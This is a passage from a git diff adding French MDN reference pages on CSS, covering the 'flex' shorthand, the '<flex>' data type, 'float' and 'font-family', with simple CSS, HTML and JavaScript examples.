+   <li>la première doit être un nombre sans unité ({{cssxref("&lt;number&gt;")}}) qui correspond à la valeur de <code><a href="#grow">&lt;flex-grow&gt;</a></code>.</li>
+   <li>la seconde valeur doit être :
+    <ul>
+     <li>un nombre sans unité ({{cssxref("&lt;number&gt;")}}) : celui-ci est alors interprété comme la valeur de <code><a href="#shrink">&lt;flex-shrink&gt;</a></code></li>
+     <li>ou une valeur de largeur valide ({{cssxref("width")}}) : celle-ci est alors interprétée comme la valeur de <code><a href="#basis">&lt;flex-basis&gt;</a></code></li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li><strong>Avec trois valeurs</strong>
+  <ul>
+   <li>la première valeur doit être un nombre sans unité ({{cssxref("&lt;number&gt;")}}) : celui-ci est alors interprété comme la valeur de <code><a href="#grow">&lt;flex-grow&gt;</a></code></li>
+   <li>la deuxième valeur doit être un nombre sans unité ({{cssxref("&lt;number&gt;")}}) : celui-ci est alors interprété comme la valeur de <code><a href="#shrink">&lt;flex-shrink&gt;</a></code></li>
+   <li>la troisième valeur doit être une valeur de largeur valide ({{cssxref("width")}}) : celle-ci est alors interprétée comme la valeur de <code><a href="#basis">&lt;flex-basis&gt;</a></code></li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<div id="flex">
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>L'élément est dimensionné selon ses propriétés <code>width</code> et <code>height</code> mais peut grandir pour absorber l'espace libre disponible dans le conteneur flexible ou rétrécir à sa taille minimale pour rentrer dans le conteneur. Cette valeur est équivalente à "<code>flex: 1 1 auto</code>".</dd>
+ <dt><code>initial</code></dt>
+ <dd>L'élément est dimensionné selon ses propriétés <code>width</code> et <code>height</code>. Ce comportement est équivalent à la valeur par défaut (<code>0 1 auto</code>). Si besoin, l'élément rétrécit à sa taille minimale pour rentrer dans le conteneur mais il ne grandira pas s'il y a de l'espace disponible dans ce conteneur. Ce mot-clé est équivalent à "<code>flex: 0 1 auto</code>".</dd>
+ <dt><code>none</code></dt>
+ <dd>L'élément est dimensionné par rapport à ses propriétés <code>width</code> et <code>height</code>. Il n'est pas flexible : il ne peut ni rétrécir ni grandir selon l'espace du conteneur flexible. Ce mot-clé est équivalent à "<code>flex: 0 0 auto</code>".</dd>
+</dl>
+</div>
+
+<dl>
+ <dt><a id="grow" name="grow"><code>&lt;'flex-grow'&gt;</code></a></dt>
+ <dd>Voir {{cssxref("flex-grow")}}. Les valeurs négatives sont interdites et la valeur par défaut est <code>1</code>.</dd>
+ <dt><a id="shrink" name="shrink"><code>&lt;'flex-shrink'&gt;</code></a></dt>
+ <dd>Voir {{cssxref("flex-shrink")}}. Les valeurs négatives sont interdites et la valeur par défaut est <code>1</code>.</dd>
+ <dt><a id="basis" name="basis"><code>&lt;'flex-basis'&gt;</code></a></dt>
+ <dd>Voir {{cssxref("flex-basis")}}. Une valeur valide pour {{cssxref("width")}} et {{cssxref("height")}}. La valeur par défaut est <code>0</code>.</dd>
+</dl>
+
+<div class="note"><strong>Note :</strong> Lorsqu'on utilise une ou deux valeurs sans unité dans la règle, <code>flex-basis</code> vaudra 0. Pour plus d'informations, voir <a href="https://drafts.csswg.org/css-flexbox/#flex-common">le brouillon de spécification du module des boîtes flexibles</a>.</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#flex-container {
+	display: flex;
+	flex-direction: row;
+}
+
+#flex-container &gt; .flex-item {
+	flex: auto;
+}
+
+#flex-container &gt; .raw-item {
+	width: 5rem;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="flex-container"&gt;
+    &lt;div class="flex-item" id="flex"&gt;Boîte flexible (cliquer pour passer à la boîte « normale »)&lt;/div&gt;
+    &lt;div class="raw-item" id="raw"&gt;Boîte « normale » &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">var flex = document.getElementById("flex");
+var raw = document.getElementById("raw");
+flex.addEventListener("click", function() {
+	raw.style.display = raw.style.display == "none" ? "block" : "none";
+});
+</pre>
+
+<pre class="brush: css notranslate">#flex-container {
+	width: 100%;
+	font-family: Consolas, Arial, sans-serif;
+}
+
+#flex-container &gt; div {
+	border: 1px solid #f00;
+	padding: 1rem;
+}
+
+#flex-container &gt; .raw-item {
+	border: 1px solid #000;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples','100%','60')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#flex-property', 'flex')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.flex")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de bases</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal">Contrôler les proportions des boîtes flexibles le long de l'axe principal</a></em></li>
+</ul>
diff --git a/files/fr/web/css/flex_value/index.html b/files/fr/web/css/flex_value/index.html
new file mode 100644
index 0000000000..736e3a9279
--- /dev/null
+++ b/files/fr/web/css/flex_value/index.html
@@ -0,0 +1,55 @@
+---
+title: <flex>
+slug: Web/CSS/flex_value
+tags:
+  - CSS
+  - Disposition
+  - Reference
+  - Type de donnée CSS
+  - Web
+translation_of: Web/CSS/flex_value
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée <a href="/fr/docs/Web/CSS">CSS</a> <strong><code>&lt;flex&gt;</code></strong> permet de représenter une longueur flexible à l'intérieur d'un conteneur en grille, qui est déclarée comme une dimension d'unité <code>fr</code>. Il est notamment utilisé pour les propriétés {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-rows")}} ainsi que d'autres.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Le type de donnée <code>&lt;flex&gt;</code> est défini par un nombre ({{cssxref("&lt;number&gt;")}} suivi de l'unité <code>fr</code>. L'unité <code>fr</code> représente une <strong>fr</strong>action de l'espace restant dans le conteneur en grille. Comme pour les autres dimensions, il n'y a pas d'espace entre la valeur et l'unité.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">1fr    /* Utilisation d'une valeur entière */
+2.5fr  /* Utilisation d'une valeur flottante */
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Grid", "#typedef-flex", "&lt;flex&gt;")}}</td>
+   <td>{{Spec2("CSS Grid")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.flex")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout">Le mode de disposition en grille (CSS Grid)</a></li>
+</ul>
diff --git a/files/fr/web/css/float/index.html b/files/fr/web/css/float/index.html
new file mode 100644
index 0000000000..b52d245e44
--- /dev/null
+++ b/files/fr/web/css/float/index.html
@@ -0,0 +1,225 @@
+---
+title: float
+slug: Web/CSS/float
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/float
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>float</code></strong> indique qu'un élément doit être retiré du flux normal et doit être placé sur le côté droit ou sur le côté gauche de son conteneur. Le texte et les autres éléments en ligne (<em>inline</em>) entoureront alors l'élément flottant. L'élément est retiré du flux normal de la page mais s'inscrit toujours dans le flux (contrairement au <a href="/fr/docs/Web/CSS/position#Positionnement_absolu">positionnement absolu</a>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/float.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Un <strong>élément flottant</strong> est un élément pour lequel <a href="/fr/docs/Web/CSS/Valeur_calculée">la valeur calculée</a> de <code>float</code> est différente de <code>none</code>.</p>
+
+<div id="float">
+<p><code>float</code> implique l'utilisation d'une disposition en bloc, cette propriété modifie donc la valeur de {{cssxref("display")}} dans certains cas :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><a href="/fr/docs/Web/CSS/Valeur_spécifiée">Valeur spécifiée</a></th>
+   <th scope="col"><a href="/fr/docs/Web/CSS/Valeur_calculée">Valeur calculée</a></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>inline</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>inline-block</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>inline-table</code></td>
+   <td><code>table</code></td>
+  </tr>
+  <tr>
+   <td><code>table-row</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-row-group</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-column</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-column-group</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-cell</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-caption</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-header-group</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-footer-group</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>inline-flex</code></td>
+   <td><code>flex</code></td>
+  </tr>
+  <tr>
+   <td><code>inline-grid</code></td>
+   <td><code>grid</code></td>
+  </tr>
+  <tr>
+   <td><em>autre</em></td>
+   <td><em>inchangée</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note"><strong>Note : </strong>Si vous utilisez cette propriété via JavaScript, comme propriété de l'objet {{domxref("HTMLElement.style")}}, la plupart des navigateurs récents permettra d'utiliser <code>float</code> mais il faudra utiliser <code>cssFloat</code> (attention à la casse) pour les navigateurs plus anciens. Pour Internet Explorer 8 et les versions antérieures, elle était appelée <code>styleFloat</code>. Le terme <code>float</code> étant réservé en JavaScript, ce cas de figure était une exception à la règle qui définit que le nom de la propriété DOM est une version <a href="https://fr.wikipedia.org/wiki/CamelCase">CamelCase</a> de la propriété CSS construite avec des tirets. De même, <code>class</code> sera échappée en <code>className</code> et le <code>for</code> des éléments &lt;label&gt; sera converti en <code>htmlFor</code>).</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">float: left;
+float: right;
+float: none;
+float: inline-start;
+float: inline-end;
+
+/* Valeurs globales */
+float: inherit;
+float: initial;
+float: unset;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>left</code></dt>
+ <dd>Un mot-clé indiquant que l'élément doit flotter du côté gauche du bloc qui le contient.</dd>
+ <dt><code>right</code></dt>
+ <dd>Un mot-clé indiquant que l'élément doit flotter du côté droit du bloc qui le contient.</dd>
+ <dt><code>none</code></dt>
+ <dd>Un mot-clé indiquant que l'élément ne doit pas flotter</dd>
+ <dt><code>inline-start</code></dt>
+ <dd>Un mot-clé indiquant que l'élément doit flotter du côté du début du bloc qui le contient. Pour les scripts LTR (les langues qui s'écrivent de la gauche vers la droite), c'est le bord gauche ; pour les scripts RTL, c'est le bord droit.</dd>
+ <dt><code>inline-end</code></dt>
+ <dd>Un mot-clé indiquant que l'élément doit flotter du côté de la fin du bloc qui le contient. Pour les scripts LTR (les langues qui s'écrivent de la gauche vers la droite), c'est le bord droit ; pour les scripts RTL, c'est le bord gauche.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  border: solid red;
+  max-width: 70ex;
+}
+
+h4 {
+  float: left;
+  margin: 0;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;h4&gt;Coucou !&lt;/h4&gt;
+  Voici du texte. Voici du texte. Voici du texte.
+  Voici du texte. Voici du texte. Voici du texte.
+  Voici du texte. Voici du texte. Voici du texte.
+  Voici du texte. Voici du texte. Voici du texte.
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Le_positionnement_des_éléments_flottants">Le positionnement des éléments flottants</h2>
+
+<p>Comme évoqué ci-avant, lorsqu'un élément flotte, il est retiré du flux normal du document et il est décalé vers la droite ou vers la gauche jusqu'à ce qu'il touche le bord de son conteneur <em>ou un autre élément flottant</em>.</p>
+
+<p>Dans l'image suivante, on voit trois carrés rouges. Deux flottent à gauche et un flotte à droite. On voit que le deuxième carré à gauche est placé à droite du premier. Si on ajoutait d'autres carrés, ils s'empileraient sur la gauche jusqu'à remplir le conteneur, ensuite, on passerait sur une autre ligne.</p>
+
+<p><img src="/@api/deki/files/4927/=floats.png" style="height: 248px; width: 729px;"></p>
+
+<h2 id="Dégager_des_éléments_du_flottement">Dégager des éléments du flottement</h2>
+
+<p>Dans l'illustration précédente, les éléments flottants sont verticalement plus courts que le texte sur lequel ils flottent. Cependant, si le texte n'était pas aussi long et ne dépassait pas des blocs, on pourrait avoir des effets indésirables. Par exemple, si le paragraphe ne contenait que « Lorem ipsum dolor sit amet » et était suivi d'un autre titre (semblable à « Floats Example »), le deuxième titre apparaîtrait entre les boîtes rouges. Or, la plupart du temps, on veut que le titre soit aligné tout à gauche. Pour cela, il faut dégager (<em>clear</em>) l'élément.</p>
+
+<p>Pour cela, on pourra utiliser la propriété {{cssxref("clear")}} sur ce deuxième titre afin de s'assurer qu'il est aligné à gauche :</p>
+
+<pre class="brush:css">h2.deuxiemeTitre { clear: both; }
+</pre>
+
+<p>Cela dit, cette méthode fonctionne uniquement s'il n'y a pas d'autres éléments dans le même <a href="/fr/docs/Web/CSS/Block_formatting_context" rel="internal">contexte de formatage de bloc</a> pour lesquels on voudrait que l'élément apparaisse à droite. Par exemple, si l'élément <code>H2</code> est entourée de barres latérales à gauche et à droite et qu'on utilise <code>clear</code>, le titre apparaîtra alors en bas, sous les barres, plutôt qu'entre elles.</p>
+
+<p>Aussi, si on ne peut pas dégager un élément, on peut limiter le formatage en bloc au conteneur des éléments flottants. Pour reprendre l'exemple précédent, on voit que toutes les boîtes rouges sont dans un élément {{HTMLElement("p")}}. On peut alors utiliser {{cssxref("overflow")}} avec <code>hidden</code> ou <code>auto</code> afin que l'élément s'agrandisse pour les contenir, sans les faire tomber en bas :</p>
+
+<pre class="brush:css">p.avecBoitesRouges { overflow: hidden; height: auto; }
+</pre>
+
+<div class="note"><strong>Note :</strong> En utilisant <code>overflow</code>: <code>scroll</code> on contiendra également les éléments fils flottants mais cela affichera des barres de défilement quelle que soit la hauteur du contenu. Ici, nous utilisons <code>auto</code> pour <code>height</code> afin d'indiquer que le conteneur doit s'agrandir si nécessaire.</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Les valeurs <code>inline-start</code> et <code>inline-end</code> sont ajoutées.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#float', 'float')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Introduction de nouvelles valeurs, pas encore clairement définies.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#float-position', 'float')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#float', 'float')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.float")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Block_formatting_context">Le contexte de formatage des blocs</a></li>
+</ul>
+</div>
diff --git a/files/fr/web/css/font-family/index.html b/files/fr/web/css/font-family/index.html
new file mode 100644
index 0000000000..4b5d523a2f
--- /dev/null
+++ b/files/fr/web/css/font-family/index.html
@@ -0,0 +1,232 @@
+---
+title: font-family
+slug: Web/CSS/font-family
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-family
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-family</code></strong> permet de définir une liste, ordonnée par priorité, de polices à utiliser pour mettre en forme le texte de l'élément ciblé.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-family.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les valeurs sont séparées par des virgules, indiquant chacune une police alternative. Le moteur choisira la première valeur pour laquelle la police correspondante est installée sur l'ordinateur ou qui peut être téléchargée via la règle @ {{cssxref("@font-face")}} définie.</p>
+
+<p>Pour fixer <code>font-family</code> et d'autres propriétés liées aux polices de caractères, on pourra utiliser la propriété raccourcie {{cssxref("font")}}.</p>
+
+<p>Les auteurs doivent toujours inclure une famille de police générique dans cette liste car il n'y a aucune certitude qu'une police donnée aura été installée sur l'ordinateur ni qu'elle pourra être téléchargée grâce à {{cssxref("@font-face")}}. L'utilisation d'une famille de police générique permet au navigateur d'utiliser une police acceptable en recours si besoin.</p>
+
+<div class="note"><strong>Note :</strong> La propriété <code>font-family</code> définit une liste de police, ordonnée par priorité, de la plus haute à la plus basse. La sélection de la police ne se fait pas pour l'ensemble du texte mais<strong> caractère par caractère</strong>. Ainsi si une police ne dispose pas du caractère à représenter, ce sera la police suivante qui sera utilisée pour représenter le caractère. Pour Internet Explorer, cela ne fonctionne pas avec la version 6 et les version antérieures.<br>
+<br>
+Les propriétés {{cssxref("font-style")}}, {{cssxref("font-variant")}} et {{cssxref("font-size")}} permettront d'influencer le choix en fonction du style, de la variante ou de la taille disponible parmi les polices de la liste.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Un nom de police suivi d'un nom de famille générique */
+font-family: "Gill Sans Extrabold", sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;
+
+/* Un nom de famille de polices générique */
+font-family: serif;
+font-family: sans-serif;
+font-family: monospace;
+font-family: cursive;
+font-family: fantasy;
+font-family: system-ui;
+font-family: emoji;
+font-family: math;
+font-family: fangsong;
+
+/* Valeurs globales */
+font-family: inherit;
+font-family: initial;
+font-family: unset;
+</pre>
+
+<p>La propriété <code>font-family</code> permet de lister différentes familles de police, séparées par des virgules. Chaque nom de famille est une valeur <code><a href="#family-name">&lt;family-name&gt;</a></code> ou <code><a href="#generic-name">&lt;generic-name&gt;</a></code>.</p>
+
+<p>Dans l'exemple suivant, on liste deux familles de police, la première utilise une valeur <code>&lt;family-name&gt;</code> et la seconde utilise une valeur <code>&lt;generic-name&gt;</code> :</p>
+
+<pre class="brush: css;">font-family: Gill Sans Extrabold, sans-serif;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><a id="family-name" name="family-name"><code>&lt;family-name&gt;</code></a></dt>
+ <dd>Le nom d'une famille de polices ; par exemple « Times » ou « Helvetica » sont des noms de famille de polices. Les noms de familles qui comportent des blancs doivent être encadrées par des doubles quotes (").</dd>
+ <dt><a id="generic-name" name="generic-name"><code>&lt;generic-name&gt;</code></a></dt>
+ <dd>
+ <p>Les noms de famille génériques sont utilisés comme mécanisme de secours pour conserver l'intention de mise en forme de l'auteur lorsqu'aucune des polices indiquées n'est disponible. Les noms de famille génériques sont des mots-clés et ne doivent pas être encadrés par des doubles quotes. Un nom de famille générique devrait être utilisé comme dernier élément de la liste des noms. Les mots-clés suivants sont définis :</p>
+
+ <dl>
+  <dt><code>serif</code></dt>
+  <dd>Les caractères possèdent des <a href="https://fr.wikipedia.org/wiki/Empattement_(typographie)">empattements</a>.<br>
+  Voici des exemples de polices avec empattement : Lucida Bright, Lucida Fax, Palatino, "Palatino Linotype", Palladio, "URW Palladio", serif.</dd>
+  <dt><code>sans-serif</code></dt>
+  <dd>Les caractères n'ont pas d'empattement, leurs extrémités sont anguleuses.<br>
+  Voici des exemples de polices correspondantes : "Open Sans", "Fira Sans", "Lucida Sans", "Lucida Sans Unicode", "Trebuchet MS", "Liberation Sans", "Nimbus Sans L", sans-serif.</dd>
+  <dt><code>monospace</code></dt>
+  <dd>Tous les caractères mesurent la même largeur, on dit que la police est à <a href="https://fr.wikipedia.org/wiki/Chasse_(typographie)">chasse</a> fixe.<br>
+  Les polices "Fira Mono", "DejaVu Sans Mono", Menlo, Consolas, "Liberation Mono", Monaco, "Lucida Console", monospace sont à chasse fixe.</dd>
+  <dt><code>cursive</code></dt>
+  <dd>Les caractères des polices cursives possèdent des extrémités permettant de les joindre les uns aux autres, partiellement ou complètement. Cela donne un résultat semblable à l'écriture manuelle au crayon plutôt qu'à des caractères d'imprimerie.<br>
+  Voici quelques exemples de polices cursives : "Brush Script MT", "Brush Script Std", "Lucida Calligraphy", "Lucida Handwriting", "Apple Chancery", cursive.</dd>
+  <dt><code>fantasy</code></dt>
+  <dd>Les polices fantaisie sont des polices décoratives pour lesquelles les caractères sont représentées de façon légère.<br>
+  Les polices suivantes sont des exemples de cette famille : Papyrus, Herculanum, Party LET, Curlz MT, Harrington, fantasy.</dd>
+  <dt><code>system-ui</code></dt>
+  <dd>Les glyphes utilisés sont ceux de l'interface utilisateur par défaut pour le système d'exploitation de la plateforme. Les variantes typographiques différant grandement d'une région à l'autre, cette famille générique est utilisée pour les polices qui ne correspondent pas aux autres familles génériques.</dd>
+  <dt><code>math</code></dt>
+  <dd>Une police utilisée pour les mise en forme relatives aux mathématiques comme les indices, les exposants, les accolades sur plusieurs lignes, etc.</dd>
+  <dt><code>emoji</code></dt>
+  <dd>Une police conçue spécifiquement pour l'affichage des emoji.</dd>
+  <dt><code>fangsong</code></dt>
+  <dd>Un style de caractères chinois particulier se situant entre le style serif Song et la forme cursive Kai. Ce style est généralement utilisé pour les documents officiels du gouvernement.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Validité_des_noms_de_famille">Validité des noms de famille</h3>
+
+<p>Les noms de famille de polices doivent être encadrés par des doubles ou doivent former une série d'un ou plusieurs identifiants valides. Cela signifie que les signes de ponctuation et les chiffres débutant chaque fragment doivent être échappés pour les noms de famille qui ne sont pas encadrés par des quotes.</p>
+
+<p>Les déclarations suivantes sont valides :</p>
+
+<pre class="brush:css">font-family: "Gill Sans Extrabold", sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;</pre>
+
+<p>Et ces déclarations sont <strong>invalides </strong>:</p>
+
+<pre class="brush:css example-bad">font-family: Goudy Bookletter 1911, sans-serif;
+font-family: Red/Black, sans-serif;
+font-family: "Lucida" Grande, sans-serif;
+font-family: Ahem!, sans-serif;
+font-family: test@foo, sans-serif;
+font-family: #POUND, sans-serif;
+font-family: Hawaii 5-0, sans-serif;</pre>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css;">.exempleserif {
+  font-family: Times, "Times New Roman", Georgia, serif;
+}
+
+.exemplesansserif {
+  font-family: Verdana, Arial, Helvetica, sans-serif;
+}
+
+.exemplemonospace {
+  font-family: "Lucida Console", Courier, monospace;
+}
+
+.exemplecursive {
+  font-family: cursive;
+}
+
+.exemplefantasy {
+  font-family: fantasy;
+}
+
+.exempleemoji {
+  font-family: emoji;
+}
+
+.exemplemath {
+  font-family: math;
+}
+
+.exemplefangsong {
+  font-family: fangsong;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exempleserif"&gt;
+Voici un exemple de police avec empattement (serif).
+&lt;/div&gt;
+
+&lt;div class="exemplesansserif"&gt;
+Voici un exemple de police sans empattement (sans-serif).
+&lt;/div&gt;
+
+&lt;div class="exemplemonospace"&gt;
+Voici un exemple de police à chasse fixe (monospace).
+&lt;/div&gt;
+
+&lt;div class="exemplecursive"&gt;
+Voici un exemple de police cursive.
+&lt;/div&gt;
+
+&lt;div class="exemplefantasy"&gt;
+Voici un exemple de police fantaisie.
+&lt;/div&gt;
+
+&lt;div class="exemplemath"&gt;
+Voici un exemple de police mathématique.
+&lt;/div&gt;
+
+&lt;div class="exempleemoji"&gt;
+Voici un exemple de police emoji.
+&lt;/div&gt;
+
+&lt;div class="exemplefangsong"&gt;
+Voici un exemple de police fangsong.
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples',600,120)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#generic-font-families', 'generic font families')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Ajout de nouvelles familles génériques dont : <code>system-ui</code>, <code>emoji</code>, <code>math</code> et <code>fangsong</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-family-prop', 'font-family')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-family', 'font-family')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-family', 'font-family')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-family")}}</p>
diff --git a/files/fr/web/css/font-feature-settings/index.html b/files/fr/web/css/font-feature-settings/index.html
new file mode 100644
index 0000000000..d9f28d7379
--- /dev/null
+++ b/files/fr/web/css/font-feature-settings/index.html
@@ -0,0 +1,120 @@
+---
+title: font-feature-settings
+slug: Web/CSS/font-feature-settings
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-feature-settings
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-feature-settings</code></strong> permet de contrôler les fonctionnalités typographiques des polices OpenType.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-feature-settings.html")}}</div>
+
